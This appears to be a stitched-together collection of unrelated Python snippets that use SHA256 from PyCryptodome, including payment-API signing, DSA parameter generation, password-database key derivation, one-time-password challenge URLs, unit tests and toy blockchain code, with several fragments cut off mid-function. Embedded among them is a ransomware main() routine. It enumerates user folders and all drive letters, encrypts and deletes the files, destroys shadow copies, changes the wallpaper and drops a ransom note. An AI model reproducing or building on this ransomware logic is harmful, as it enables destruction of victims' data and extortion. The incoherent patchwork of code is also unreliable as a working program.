def _generate_domain(L, randfunc):
"""Generate a new set of DSA domain parameters"""
N = { 1024:160, 2048:224, 3072:256 }.get(L)
if N is None:
raise ValueError("Invalid modulus length (%d)" % L)
outlen = SHA256.digest_size * 8
n = (L + outlen - 1) // outlen - 1 # ceil(L/outlen) -1
b_ = L - 1 - (n * outlen)
# Generate q (A.1.1.2)
q = Integer(4)
upper_bit = 1 << (N - 1)
while test_probable_prime(q, randfunc) != PROBABLY_PRIME:
seed = randfunc(64)
U = Integer.from_bytes(SHA256.new(seed).digest()) & (upper_bit - 1)
q = U | upper_bit | 1
assert(q.size_in_bits() == N)
# Generate p (A.1.1.2)
offset = 1
upper_bit = 1 << (L - 1)
while True:
V = [ SHA256.new(seed + Integer(offset + j).to_bytes()).digest()
for j in iter_range(n + 1) ]
V = [ Integer.from_bytes(v) for v in V ]
W = sum([V[i] * (1 << (i * outlen)) for i in iter_range(n)],
(V[n] & ((1 << b_) - 1)) * (1 << (n * outlen)))
X = Integer(W + upper_bit) # 2^{L-1} < X < 2^{L}
assert(X.size_in_bits() == L)
c = X % (q * 2)
p = X - (c - 1) # 2q divides (p-1)
if p.size_in_bits() == L and \
test_probable_prime(p, randfunc) == PROBABLY_PRIME:
break
offset += n + 1
# Generate g (A.2.3, index=1)
e = (p - 1) // q
for count in itertools.count(1):
U = seed + b"ggen" + bchr(1) + Integer(count).to_bytes()
W = Integer.from_bytes(SHA256.new(U).digest())
g = pow(W, e, p)
if g != 1:
break
return (p, q, g, seed)
def _sign(self, unsigned_string):
"""
通过如下方法调试签名
方法1
key = rsa.PrivateKey.load_pkcs1(open(self._app_private_key_path).read())
sign = rsa.sign(unsigned_string.encode("utf8"), key, "SHA-1")
# base64 编码，转换为unicode表示并移除回车
sign = base64.encodebytes(sign).decode("utf8").replace("\n", "")
方法2
key = RSA.importKey(open(self._app_private_key_path).read())
signer = PKCS1_v1_5.new(key)
signature = signer.sign(SHA.new(unsigned_string.encode("utf8")))
# base64 编码，转换为unicode表示并移除回车
sign = base64.encodebytes(signature).decode("utf8").replace("\n", "")
方法3
echo "abc" | openssl sha1 -sign alipay.key | openssl base64
"""
# 开始计算签名
key = self.app_private_key
signer = PKCS1_v1_5.new(key)
if self._sign_type == "RSA":
signature = signer.sign(SHA.new(b(unsigned_string)))
else:
signature = signer.sign(SHA256.new(b(unsigned_string)))
# base64 编码，转换为unicode表示并移除回车
sign = encodebytes(signature).decode("utf8").replace("\n", "")
return sign
def _get_filekey(self):
"""This method creates a key from a keyfile."""
if not os.path.exists(self.keyfile):
raise KPError('Keyfile not exists.')
try:
with open(self.keyfile, 'rb') as handler:
handler.seek(0, os.SEEK_END)
size = handler.tell()
handler.seek(0, os.SEEK_SET)
if size == 32:
return handler.read(32)
elif size == 64:
try:
return binascii.unhexlify(handler.read(64))
except (TypeError, binascii.Error):
handler.seek(0, os.SEEK_SET)
sha = SHA256.new()
while True:
buf = handler.read(2048)
sha.update(buf)
if len(buf) < 2048:
break
return sha.digest()
except IOError as e:
raise KPError('Could not read file: %s' % e)
def verify(self, message: bytes, signature: bytes) -> bool:
h = SHA256.new(message)
try:
pkcs1_15.new(self.public_key).verify(h, signature) # type: ignore
return True
except (ValueError, TypeError):
return False
def sign_transaction(self, sender, recipient, amount):
signer = PKCS1_v1_5.new(RSA.importKey(
binascii.unhexlify(self.private_key)))
h = SHA256.new((str(sender) + str(recipient) +
str(amount)).encode('utf8'))
signature = signer.sign(h)
return binascii.hexlify(signature).decode('ascii')
def _transform_key(self, masterkey):
"""This method creates the key to decrypt the database"""
aes = AES.new(self._transf_randomseed, AES.MODE_ECB)
# Encrypt the created hash
for _ in range(self._key_transf_rounds):
masterkey = aes.encrypt(masterkey)
# Finally, hash it again...
sha_obj = SHA256.new()
sha_obj.update(masterkey)
masterkey = sha_obj.digest()
# ...and hash the result together with the randomseed
sha_obj = SHA256.new()
sha_obj.update(self._final_randomseed + masterkey)
return sha_obj.digest()
def create_pairing_response_by_serial(self, user_token_id):
"""
Creates a base64-encoded pairing response that identifies
the token by its serial
:param user_token_id: the token id (primary key for the user token db)
:returns base64 encoded pairing response
"""
token_serial = self.tokens[user_token_id]['serial']
server_public_key = self.tokens[user_token_id]['server_public_key']
partition = self.tokens[user_token_id]['partition']
# ------------------------------------------------------------------ --
# assemble header and plaintext
header = struct.pack('<bI', PAIR_RESPONSE_VERSION, partition)
pairing_response = b''
pairing_response += struct.pack('<bI', TYPE_PUSHTOKEN, user_token_id)
pairing_response += self.public_key
pairing_response += token_serial.encode('utf8') + b'\x00\x00'
pairing_response += self.gda + b'\x00'
signature = crypto_sign_detached(pairing_response, self.secret_key)
pairing_response += signature
# ------------------------------------------------------------------ --
# create public diffie hellman component
# (used to decrypt and verify the reponse)
r = os.urandom(32)
R = calc_dh_base(r)
# ------------------------------------------------------------------ --
# derive encryption key and nonce
server_public_key_dh = dsa_to_dh_public(server_public_key)
ss = calc_dh(r, server_public_key_dh)
U = SHA256.new(ss).digest()
encryption_key = U[0:16]
nonce = U[16:32]
# ------------------------------------------------------------------ --
# encrypt in EAX mode
cipher = AES.new(encryption_key, AES.MODE_EAX, nonce)
cipher.update(header)
ciphertext, tag = cipher.encrypt_and_digest(pairing_response)
return encode_base64_urlsafe(header + R + ciphertext + tag)
def _verify(self, raw_content, signature):
# 开始计算签名
key = self.alipay_public_key
signer = PKCS1_v1_5.new(key)
if self._sign_type == "RSA":
digest = SHA.new()
else:
digest = SHA256.new()
digest.update(raw_content.encode("utf8"))
if signer.verify(digest, decodebytes(signature.encode("utf8"))):
return True
return False
def runTest(self):
key = b'0' * 16
h = SHA256.new()
for length in range(160):
nonce = '{0:04d}'.format(length).encode('utf-8')
data = bchr(length) * length
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce, **self._extra_params)
ct, tag = cipher.encrypt_and_digest(data)
h.update(ct)
h.update(tag)
self.assertEqual(h.hexdigest(), "7b7eb1ffbe67a2e53a912067c0ec8e62ebc7ce4d83490ea7426941349811bdf4")
def test_asn1_encoding(self):
"""Verify ASN.1 encoding"""
self.description = "ASN.1 encoding test"
hash_obj = SHA256.new()
signer = DSS.new(self.key_priv, 'fips-186-3', 'der')
signature = signer.sign(hash_obj)
# Verify that output looks like a DER SEQUENCE
self.assertEqual(bord(signature[0]), 48)
signer.verify(hash_obj, signature)
# Verify that ASN.1 parsing fails as expected
signature = bchr(7) + signature[1:]
self.assertRaises(ValueError, signer.verify, hash_obj, signature)
def runTest(self):
"""SHA256: 512/520 MiB test"""
from Cryptodome.Hash import SHA256
zeros = bchr(0x00) * (1024*1024)
h = SHA256.new(zeros)
for i in range(511):
h.update(zeros)
# This test vector is from PyCrypto's old testdata.py file.
self.assertEqual('9acca8e8c22201155389f65abbf6bc9723edc7384ead80503839f49dcc56d767', h.hexdigest()) # 512 MiB
for i in range(8):
h.update(zeros)
# This test vector is from PyCrypto's old testdata.py file.
self.assertEqual('abf51ad954b246009dfe5a50ecd582fd5b8f1b8b27f30393853c3ef721e7fa6e', h.hexdigest()) # 520 MiB
def test1(self):
q = 0x4000000000000000000020108A2E0CC0D99F8A5EFL
x = 0x09A4D6792295A7F730FC3F2B49CBC0F62E862272FL
p = 2 * q + 1
y = pow(2, x, p)
key = DSA.construct([pow(y, 2, p), 2L, p, q, x], False)
signer = DSS.new(key, 'deterministic-rfc6979')
# Test _int2octets
self.assertEqual(hexlify(signer._int2octets(x)),
b("009a4d6792295a7f730fc3f2b49cbc0f"
"62e862272f"))
# Test _bits2octets
h1 = SHA256.new(b("sample")).digest()
self.assertEqual(hexlify(signer._bits2octets(h1)),
b("01795edf0d54db760f156d0dac04c032"
"2b3a204224"))
def concat_sha256(secret, dk_len, other_info):
"""
The Concat KDF, using SHA256 as the hash function.
Note: Does not validate that otherInfo meets the requirements of
SP800-56A.
:param secret: The shared secret value
:param dk_len: Length of key to be derived, in bits
:param other_info: Other info to be incorporated (see SP800-56A)
:return: The derived key
"""
dkm = b''
dk_bytes = int(ceil(dk_len / 8.0))
counter = 0
while len(dkm) < dk_bytes:
counter += 1
counter_bytes = pack("!I", counter)
dkm += SHA256.new(counter_bytes + secret + other_info ).digest()
return dkm[:dk_bytes]
def main():
#main method where major logic happens, user's files get encrypted and they have the chance to get password to decrypt them
#or lose them all
global password, encFiles, filecounter
encFiles = []
#password = input("Enter the password: "******"test"
filecounter = 0
listdir = (userhome + '\\Contacts\\', userhome + '\\Documents\\',
userhome + '\\Downloads\\', userhome + '\\Favorites\\',
userhome + '\\Links\\', userhome + '\\My Documents\\',
userhome + '\\My Music\\', userhome + '\\My Pictures\\',
userhome + '\\My Videos\\', 'C:\\', 'D:\\', 'E:\\', 'F:\\',
'G:\\', 'I:\\', 'J:\\', 'K:\\', 'L:\\', 'M:\\', 'N:\\', 'O:\\',
'P:\\', 'Q:\\', 'R:\\', 'S:\\', 'T:\\', 'U:\\', 'V:\\', 'W:\\',
'X:\\', 'Y:\\', 'Z:\\')
for possibleDir in listdir:
#for possibleDir on system
path = files2crypt(possibleDir)
for file in path:
filecounter += 1
encFiles.append(file) #add to encFiles to encrypt
register()
set_wallpaper()
destroy_shadow_copy()
write_instruction(userhome + '\\Desktop\\',
'txt') #write instructions to user's desktop
os.startfile(userhome + '\\Desktop\\README_FOR_DECRYPT.txt')
for file in encFiles:
#iterate through files in Encfiles and encrypt them
if os.path.basename(file).startswith("(encrypted)"):
print("%s is already encrypted" % str(file))
pass
elif file == os.path.join(os.getcwd(), sys.argv[0]):
#makes sure current program does not get encrypted
pass
else:
encrypt(SHA256.new(password).digest(), str(file))
# print("Done encrypting %s" % str(file))
os.remove(file)
while filecounter / 2 > 0:
choice = input("Do you want to (T)ry your luck: ? or (D)ecrypt file")
if choice == "T":
try_your_luck()
elif choice == "D":
filename = input("Enter the filename to decrypt: ")
if not os.path.exists(filename):
print("The file does not exist")
continue
#sys.exit(0)
elif not filename.startswith("(encrypted)"):
print("%s is already not encrypted" % filename)
continue
#sys.exit()
else:
decrypt(SHA256.new(password).digest(), filename)
print("Done decrypting %s" % filename)
# os.remove(filename)
filecounter -= 1
else:
print("Please choose a valid command.")
continue
def create_digital_signature(self, plaintext):
digest = SHA256.new(plaintext.encode()) # plaintext is in bytes
signer = pkcs1_15.new(RSA.import_key(self.client_private_key.encode()))
signature = signer.sign(digest)
return signature
def verify_transaction(transaction):
public_key = RSA.importKey(binascii.unhexlify(transaction.sender))
verifier = PKCS1_v1_5.new(public_key)
h = SHA256.new((str(transaction.sender) + str(transaction.recipient) +
str(transaction.amount)).encode('utf8'))
return verifier.verify(h, binascii.unhexlify(transaction.signature))
#Generate
secret = b'secretkey'
h = HMAC.new(secret, digestmod=SHA256)
message = b'Hello'
h.update(message)
print("h.hexdigest():")
print(h.hexdigest())
#Validate
h1 = HMAC.new(secret, digestmod=SHA256)
h1.update(message)
try:
h1.hexverify(h.hexdigest())
print("The message is authentic")
except ValueError:
print("The message or key is invalid")
#Generate/verify RSA digital signature:
print("Generate/verify RSA digital signature test:")
#Generate
message = b'Hello'
key = RSA.generate(2048)
h = SHA256.new(message)
signature = pkcs1_15.new(key).sign(h)
#Validate
h1 = SHA256.new(message)
try:
pkcs1_15.new(key).verify(h1, signature)
print("The signature is valid")
except ValueError:
print("The signature or key is invalid")
def query(action=None,
command=None,
args=None,
method="GET",
location=None,
data=None):
"""
Make a web call to Joyent
"""
user = config.get_cloud_config_value("user",
get_configured_provider(),
__opts__,
search_global=False)
if not user:
log.error(
"username is required for Joyent API requests. Please set one in your provider configuration"
)
password = config.get_cloud_config_value("password",
get_configured_provider(),
__opts__,
search_global=False)
verify_ssl = config.get_cloud_config_value(
"verify_ssl",
get_configured_provider(),
__opts__,
search_global=False,
default=True,
)
ssh_keyfile = config.get_cloud_config_value(
"private_key",
get_configured_provider(),
__opts__,
search_global=False,
default=True,
)
if not ssh_keyfile:
log.error(
"ssh_keyfile is required for Joyent API requests. Please set one in your provider configuration"
)
ssh_keyname = config.get_cloud_config_value(
"keyname",
get_configured_provider(),
__opts__,
search_global=False,
default=True,
)
if not ssh_keyname:
log.error(
"ssh_keyname is required for Joyent API requests. Please set one in your provider configuration"
)
if not location:
location = get_location()
api_host_suffix = config.get_cloud_config_value(
"api_host_suffix",
get_configured_provider(),
__opts__,
search_global=False,
default=JOYENT_API_HOST_SUFFIX,
)
path = get_location_path(location=location,
api_host_suffix=api_host_suffix)
if action:
path += action
if command:
path += "/{}".format(command)
log.debug("User: '******' on PATH: %s", user, path)
if (not user) or (not ssh_keyfile) or (not ssh_keyname) or (not location):
return None
timenow = datetime.datetime.utcnow()
timestamp = timenow.strftime("%a, %d %b %Y %H:%M:%S %Z").strip()
rsa_key = salt.crypt.get_rsa_key(ssh_keyfile, None)
if HAS_M2:
md = EVP.MessageDigest("sha256")
md.update(timestamp.encode(__salt_system_encoding__))
digest = md.final()
signed = rsa_key.sign(digest, algo="sha256")
else:
rsa_ = PKCS1_v1_5.new(rsa_key)
hash_ = SHA256.new()
hash_.update(timestamp.encode(__salt_system_encoding__))
signed = rsa_.sign(hash_)
signed = base64.b64encode(signed)
user_arr = user.split("/")
if len(user_arr) == 1:
keyid = "/{}/keys/{}".format(user_arr[0], ssh_keyname)
elif len(user_arr) == 2:
keyid = "/{}/users/{}/keys/{}".format(user_arr[0], user_arr[1],
ssh_keyname)
else:
log.error("Malformed user string")
headers = {
"Content-Type":
"application/json",
"Accept":
"application/json",
"X-Api-Version":
JOYENT_API_VERSION,
"Date":
timestamp,
"Authorization":
'Signature keyId="{}",algorithm="rsa-sha256" {}'.format(
keyid, signed.decode(__salt_system_encoding__)),
}
if not isinstance(args, dict):
args = {}
# post form data
if not data:
data = salt.utils.json.dumps({})
return_content = None
result = salt.utils.http.query(
path,
method,
params=args,
header_dict=headers,
data=data,
decode=False,
text=True,
status=True,
headers=True,
verify_ssl=verify_ssl,
opts=__opts__,
)
log.debug("Joyent Response Status Code: %s", result["status"])
if "headers" not in result:
return [result["status"], result["error"]]
if "Content-Length" in result["headers"]:
content = result["text"]
return_content = salt.utils.yaml.safe_load(content)
return [result["status"], return_content]
def get_key(password):
h = SHA256.new()
h.update(password)
return h.digest()
file = open("config.json",'r')
options = json.loads(file.read())
file.close()
#load Globals
HostIP = options["hostIP"]
HostPort = options["hostPort"]
PrivateKey = ECC.import_key(bytes(bytearray.fromhex(options["privateKeyHex"])))
Nodes = {}
del(options)
PublicKeyHex = ((PrivateKey.public_key().export_key(format='DER', compress=True)).hex()).ljust(128, "0") #TODO this is shortcut, have actual machinery to swap out encryption implimentations
message = PublicKeyHex + ":" + str(ProtocalVersion) + ":" + "bootstrap" + ":" + str(ProgramName) + ":" + str(ProgramVersion) + ":"
message = message.ljust(192, ' ')
h1 = SHA256.new(message.encode(encoding='utf-8'))
signer = DSS.new(PrivateKey, 'fips-186-3')
signature = signer.sign(h1)
Handshake = message.encode(encoding='utf-8') + signature
print(Handshake)
print(len(Handshake))
print(Handshake.hex())
print(PublicKeyHex)
#start listening
socket1 = socket.socket()
socket1.bind((HostIP, HostPort))
socket1.settimeout(1)
def sign(privateKey, tx, index):
# Takes msg and sk and outputs signature for msg
hashMsg = SHA256.new(tx.getRawDataToSign(index))
signer = PKCS1_v1_5.new(privateKey)
signature = signer.sign(hashMsg)
return signature
def sign_transaction(self, sender, recipient, amount):
signer = PKCS1_v1_5.new(RSA.importKey(binascii.unhexlify(self.private_key)))
h = SHA256.new((str(sender) + str(recipient) + str(amount)).encode('utf8'))
signature = signer.sign(h)
return binascii.hexlify(signature).decode('ascii')
print("PrivateKey:\n" + str(privateKey.hex()))
print("Length: " + str(len(privateKey)))
publicKey1 = key.public_key().export_key(format='DER', compress=True)
print("PublicKey Compressed:\n" + str(publicKey1.hex()))
print("Length: " + str(len(publicKey1)))
publicKey2 = key.public_key().export_key(format='DER', compress=False)
print("PublicKey:\n" + str(publicKey2.hex()))
print("Length: " + str(len(publicKey2)))
#sign a message
# http://pycryptodome.readthedocs.io/en/latest/src/signature/dsa.html
from Cryptodome.Hash import SHA256 #can use SHA512 (and others) as well
from Cryptodome.Signature import DSS
message = "This is a test".ljust(256,"_")
h1 = SHA256.new(message.encode())
print("Message hash generator: " + str(h1))
signer = DSS.new(key, 'fips-186-3')
signature = signer.sign(h1)
print("Signiture:\n" + str(signature.hex()))
print("Length: " + str(len(signature)))
'''
test = bytearray(len(publicKey1))
for i in range(0,len(publicKey1)):
if i != 56:
test[i] = publicKey1[i]
else:
test[i] = 0
test = bytes(test)
def get_transaction(contract, preimage, first_valid, last_valid, gh, fee):
"""
Return a transaction which will release funds if a matching preimage
is used.
Args:
contract (bytes): the contract containing information, should be
received from payer
preimage (str): the preimage of the hash in base64
first_valid (int): first valid round for the transactions
last_valid (int): last valid round for the transactions
gh (str): genesis hash in base64
fee (int): fee per byte
Returns:
LogicSigTransaction: transaction to claim algos from
contract account
"""
_, ints, bytearrays = logic.read_program(contract)
if not (len(ints) == 4 and len(bytearrays) == 3):
raise error.WrongContractError("split")
max_fee = ints[0]
hash_function = contract[-15]
expected_hash_image = bytearrays[1]
if hash_function == 1:
hash_image = SHA256.new()
hash_image.update(base64.b64decode(preimage))
if hash_image.digest() != expected_hash_image:
raise error.TemplateInputError(
"the hash of the preimage does not match the expected "
"hash image using hash function sha256")
elif hash_function == 2:
hash_image = keccak.new(digest_bits=256)
hash_image.update(base64.b64decode(preimage))
print(hash_image.digest())
print(expected_hash_image)
if hash_image.digest() != expected_hash_image:
raise error.TemplateInputError(
"the hash of the preimage does not match the expected "
"hash image using hash function keccak256")
else:
raise error.TemplateInputError(
"an invalid hash function was provided in the contract")
receiver = encoding.encode_address(bytearrays[0])
lsig = transaction.LogicSig(contract, [base64.b64decode(preimage)])
txn = transaction.PaymentTxn(logic.address(contract),
fee,
first_valid,
last_valid,
gh,
None,
0,
close_remainder_to=receiver)
if txn.fee > max_fee:
raise error.TemplateInputError(
"the transaction fee should not be greater than " +
str(max_fee))
ltxn = transaction.LogicSigTransaction(txn, lsig)
return ltxn
def encrypt_hash(
messages): # check this moment and be careful messages only STRING !!!
data_hash = SHA256.new(messages.encode())
return data_hash
def send_message(self, text):
message = self.ui.textEdit.toPlainText(
) ##############################
if message != '':
text = self.ui.label_7.text()
self.ui.textEdit.setPlaceholderText(
"Write and press ALT to send a message. . .")
with open('one.json') as f:
templates_2 = json.load(f)
for i in templates_2:
if text == i['name']:
to_json_3 = {
"ID_purse": i['ID_purse'],
"name": i['name']
} # ЗДЕСЬ ИДЕТ ПЕРЕСТАНОВКА ЧЕЛОВЕКУ КОТОРОМУ МЫ НАПИСАЛИ НА 1 МЕСТО
templates_2.remove(to_json_3)
templates_2.insert(0, to_json_3)
with open('one.json', 'w') as f:
json.dump(templates_2, f,
ensure_ascii=False) # ВПИСЫВАЕМ
self.rewrite_users()
self.cleantextEdit()
# user_name = "andrey"
now = datetime.datetime.now()
time = now.strftime("%H:%M")
message = message.rstrip(
"\n") # чущу блядские мусорные \n в конце мейла
############################################################################
# СЮДА ВСТАВИТЬ ФУНКЦИЮ ОТПРАВКИ МЕЙЛА
message = message + "\n"
# print(message)
self.widget_5 = QtWidgets.QWidget(self.ui.scrollAreaWidgetContents)
self.widget_5.setMinimumSize(QtCore.QSize(300, 90))
self.widget_5.setMaximumSize(QtCore.QSize(300, 100))
self.widget_5.setLayoutDirection(QtCore.Qt.RightToLeft)
self.widget_5.setStyleSheet(
"background-color: rgb(170, 255, 255);")
self.widget_5.setObjectName("widget_5")
self.verticalLayout_28 = QtWidgets.QVBoxLayout(self.widget_5)
self.verticalLayout_28.setContentsMargins(11, 11, 11, 11)
self.verticalLayout_28.setObjectName("verticalLayout_28")
self.label_13 = QtWidgets.QLabel(self.widget_5)
self.label_13.setStyleSheet("font: 10pt \"Lucida Sans\";\n"
"color: rgb(74, 128, 255);\n"
"")
self.label_13.setObjectName("label_13")
self.label_13.setText("you in " + time) # user_name +
self.verticalLayout_28.addWidget(self.label_13)
self.textBrowser_5 = QtWidgets.QTextBrowser(self.widget_5)
self.textBrowser_5.setObjectName("textBrowser_5")
self.textBrowser_5.setHtml(
"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n"
"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n"
"p, li { white-space: pre-wrap; }\n"
"</style></head><body style=\" font-family:\'Lucida Sans\'; font-size:7.8pt; font-weight:400; font-style:normal;\">\n"
"<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">что то тут должно быть но я хз</p></body></html>"
)
self.textBrowser_5.setVerticalScrollBarPolicy(
QtCore.Qt.ScrollBarAlwaysOff) #############################
self.textBrowser_5.setText(message)
self.verticalLayout_28.addWidget(self.textBrowser_5)
self.ui.verticalLayout_41.addWidget(self.widget_5)
################################################################################3
status_now = "send" # ТОПО ПОЛУЧАЕТ ИЛИ ПРИНИМАЕТ В ЭТОЙ ФУНКЦИИ СТАТУС ПОСТОЯННЫЙ, Т.К МЫ ЗАПИСЫВАЕМ СООБЩ ОТПРАВЛЕННЫЕ САМИМ "АДМИНОМ" SEND сенд имеется ввиду получатель, GET ОТПРАВИТЕЛЬ, и через проверку этого параметра сообщ будет висеть справа или слева
with open('one.json') as f:
templates_2 = json.load(f)
for i in templates_2:
# print (i['name'])
if text == i['name']:
name_of_new_purse = i["ID_purse"]
with open('wallet-{}.txt'.format(node.port), mode='r') as f:
keys = f.readlines()
private_key = keys[1]
signer = PKCS1_v1_5.new(
RSA.importKey(binascii.unhexlify(private_key)))
h = SHA256.new((str(node.open_key()) + str(name_of_new_purse) +
str(cost) + str(message)).encode('utf8'))
signature_1 = signer.sign(h)
signature = binascii.hexlify(signature_1).decode('ascii')
to_json_message = {
"status": status_now,
"ID_purse": name_of_new_purse,
"message": message,
"time": "delivering",
"signature": signature
}
print(to_json_message)
with open('two.json') as f:
templates_4 = json.load(f) # СЧИТЫВАЕМ
templates_4.append(to_json_message) # ДОПОЛНЯЕМ
with open('two.json', 'w') as f:
json.dump(templates_4, f, ensure_ascii=False) # ВПИСЫВАЕМ
node.add_transaction_client(name_of_new_purse, 0.01, message)
############################################################################
else:
self.ui.textEdit.setPlaceholderText("Please, enter the message...")
def test_positive_1(self):
key = RSA.import_key(self.rsa_key)
h = SHA256.new(self.msg)
verifier = pss.new(key)
verifier.verify(h, self.tag)
def signer(privateKey, publicKey, menuEncoded):
data = menuEncoded
hashedMessage = SHA256.new(data)
signature = pss.new(privateKey).sign(hashedMessage)
return signature
def test_negative_2(self):
key = RSA.import_key(self.rsa_key)
h = SHA256.new(self.msg)
verifier = pss.new(key, salt_bytes=1000)
tag = bytearray(self.tag)
self.assertRaises(ValueError, verifier.verify, h, tag)
from Cryptodome.Hash import SHA256
from Cryptodome.PublicKey import RSA
from Cryptodome.Signature import pkcs1_15
import os
if __name__ == '__main__':
filename = input("input document filename: ")
action = input("input action (sign or check):")
if action == 'sign':
try:
print("getting hash of the message...")
h = SHA256.new()
with open(filename, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
h.update(chunk)
print("creating public and private keys...")
pubkeyfilename = input("where to save public key (" + filename +
".key.pub by default): ")
if (pubkeyfilename == ""):
pubkeyfilename = filename + ".key.pub"
key = RSA.generate(1024, os.urandom)
print("saving public key to ", pubkeyfilename, "...")
with open(pubkeyfilename, "wb") as pubkeyfile:
pubkeyfile.write(key.publickey().export_key('PEM'))
print("keys are created")
print("creating signature...")
signaturefilename = input("where to save signature (" + filename +
".signature by default): ")
if (signaturefilename == ""):
def create_challenge_url(self,
transaction_id,
content_type,
message,
callback_url,
callback_sms_number,
use_compression=False,
reset_url=False):
"""
creates a challenge url (looking like lseqr://chal/<base64string>)
from a challenge dictionary as provided by Challanges.create_challenge
in lib.challenge
the version identifier of the challenge url is currently hardcoded
to 1.
"""
serial = self.getSerial()
if content_type is None:
content_type = CONTENT_TYPE_FREE
# ------------------------------------------------------------------- --
# sanity/format checks
if content_type not in [
CONTENT_TYPE_PAIRING, CONTENT_TYPE_AUTH, CONTENT_TYPE_FREE
]:
raise InvalidFunctionParameter(
'content_type', 'content_type must '
'be CONTENT_TYPE_PAIRING, '
'CONTENT_TYPE_AUTH or '
'CONTENT_TYPE_FREE.')
if content_type == CONTENT_TYPE_PAIRING and \
message != serial:
raise InvalidFunctionParameter(
'message', 'message must be equal '
'to serial in pairing mode')
if content_type == CONTENT_TYPE_AUTH:
if '@' not in message:
raise InvalidFunctionParameter(
'message', 'For content type '
'auth, message must have format '
'<login>@<server>')
# ------------------------------------------------------------------- --
# after the lseqr://chal/ prefix the following data is encoded
# in urlsafe base64:
# ---------------------------------------------------
# fields | version | user token id | R | ciphertext | MAC |
# ---------------------------------------------------
# | header | | EAX enc data |
# ---------------------------------------------------
# size | 1 | 4 | 32 | ? | 16 |
# ---------------------------------------------------
#
r = urandom(32)
R = calc_dh_base(r)
user_token_id = self.getFromTokenInfo('user_token_id')
data_header = struct.pack('<bI', QRTOKEN_VERSION, user_token_id)
# the user public key is saved as base64 in
# the token info since the byte format is
# incompatible with the json backend.
b64_user_public_key = self.getFromTokenInfo('user_public_key')
user_public_key = b64decode(b64_user_public_key)
ss = calc_dh(r, user_public_key)
U1 = SHA256.new(ss).digest()
U2 = SHA256.new(U1).digest()
zerome(ss)
skA = U1[0:16]
skB = U2[0:16]
nonce = U2[16:32]
zerome(U1)
zerome(U2)
# ------------------------------------------------------------------- --
# create plaintext section
# ------------------------------------------------------------------- --
# create the bitmap for flags
flags = 0
if use_compression:
flags |= CHALLENGE_HAS_COMPRESSION
# FIXME: sizecheck for message, callback url, sms number
# wiki specs are utf-8 byte length (without \0)
if callback_url is not None:
flags |= CHALLENGE_HAS_URL
if callback_sms_number is not None:
flags |= CHALLENGE_HAS_SMS_NUMBER
if (content_type == CONTENT_TYPE_PAIRING):
flags |= CHALLENGE_HAS_SIGNATURE
if reset_url:
flags |= CHALLENGE_SHOULD_RESET_URL
flags |= CHALLENGE_HAS_SIGNATURE
#------------------------------------------------------------------- --
# generate plaintext header
# ----------------------------------------------
# fields | content_type | flags | transaction_id | ... |
# ----------------------------------------------
# size | 1 | 1 | 8 | ? |
# ----------------------------------------------
transaction_id = transaction_id_to_u64(transaction_id)
pt_header = struct.pack('<bbQ', content_type, flags, transaction_id)
plaintext = pt_header
#------------------------------------------------------------------- --
# create data package
# -------------------------------
# fields | header | message | NUL | ... |
# -------------------------------
# size | 10 | ? | 1 | ? |
# -------------------------------
data_package = b''
utf8_message = message.encode('utf8')
# enforce max sizes specified by protocol
if content_type == CONTENT_TYPE_FREE and len(utf8_message) > 511:
raise ParameterError('message (encoded as utf8) can only be 511 '
'characters long')
elif content_type == CONTENT_TYPE_PAIRING and len(utf8_message) > 63:
raise InvalidFunctionParameter(
'message', 'max string length '
'(encoded as utf8) is 511 for '
'content type PAIRING')
elif content_type == CONTENT_TYPE_AUTH and len(utf8_message) > 511:
raise InvalidFunctionParameter(
'message', 'max string length '
'(encoded as utf8) is 511 for '
'content type AUTH')
data_package += utf8_message + b'\x00'
# ------------------------------------------------------------------- --
# depending on function parameters add callback url
# and/or callback sms number
# -----------------------------------------------------
# fields | ... | callback url | NUL | callback sms | NUL | ... |
# -----------------------------------------------------
# size | ? | ? | 1 | ? | 1 | ? |
# -----------------------------------------------------
# ------------------------------------------------------------------- --
if callback_url is not None:
utf8_callback_url = callback_url.encode('utf8')
# enforce max url length as specified in protocol
if len(utf8_callback_url) > 511:
raise InvalidFunctionParameter(
'callback_url', 'max string '
'length (encoded as utf8) is '
'511')
data_package += utf8_callback_url + b'\x00'
# ------------------------------------------------------------------- --
if callback_sms_number is not None:
utf8_callback_sms_number = callback_sms_number.encode('utf8')
if len(utf8_callback_sms_number) > 31:
raise InvalidFunctionParameter(
'callback_sms_number', 'max string length (encoded '
'as utf8) is 31')
data_package += utf8_callback_sms_number + b'\x00'
# ------------------------------------------------------------------- --
if use_compression:
maybe_compressed_data_package = zlib.compress(data_package, 9)
else:
maybe_compressed_data_package = data_package
# ------------------------------------------------------------------- --
# when content type is pairing the protocol specifies that
# the server must send a hmac based signature with the
# response
sig = ''
if flags & CHALLENGE_HAS_SIGNATURE:
hmac_message = nonce + pt_header + maybe_compressed_data_package
sig = HMAC.new(self.server_hmac_secret,
hmac_message,
digestmod=SHA256).digest()
plaintext += sig
# ------------------------------------------------------------------- --
plaintext += maybe_compressed_data_package
# ------------------------------------------------------------------- --
user_message = nonce + pt_header + sig + data_package
user_sig = HMAC.new(skB, user_message, digestmod=SHA256).digest()
# the user sig will be given as urlsafe base64 in the
# challenge response. for this reasons (and because we
# need to serialize it into json) we convert the user_sig
# into this format.
user_sig = encode_base64_urlsafe(user_sig)
# ------------------------------------------------------------------- --
cipher = AES.new(skA, AES.MODE_EAX, nonce)
cipher.update(data_header)
ciphertext, tag = cipher.encrypt_and_digest(plaintext)
raw_data = data_header + R + ciphertext + tag
url = 'lseqr://chal/' + encode_base64_urlsafe(raw_data)
return url, user_sig
def _verify_sign(self, sign_str: str, signature) -> bool:
signer = PKCS1_v1_5.new(self._wechat_public_key)
digest = SHA256.new(sign_str.encode())
return signer.verify(digest, b64decode(signature))
def sign(o, p):
hash = SHA256.new(o)
return pkcs1_15.new(p).sign(hash)
def decrypt_and_verify_challenge(self, challenge_url, action):
"""
Decrypts the data packed in the challenge url, verifies
its content, returns the parsed data as a dictionary,
calculates and returns the signature.
The calling method must then send the signature
back to the server. (The reason for this control flow
is that the challenge data must be checked in different
scenarios, e.g. when we have a pairing the data must be
checked by the method that simulates the pairing)
:param challenge_url: the challenge url as sent by the server
:param action: a string identifier for the verification action
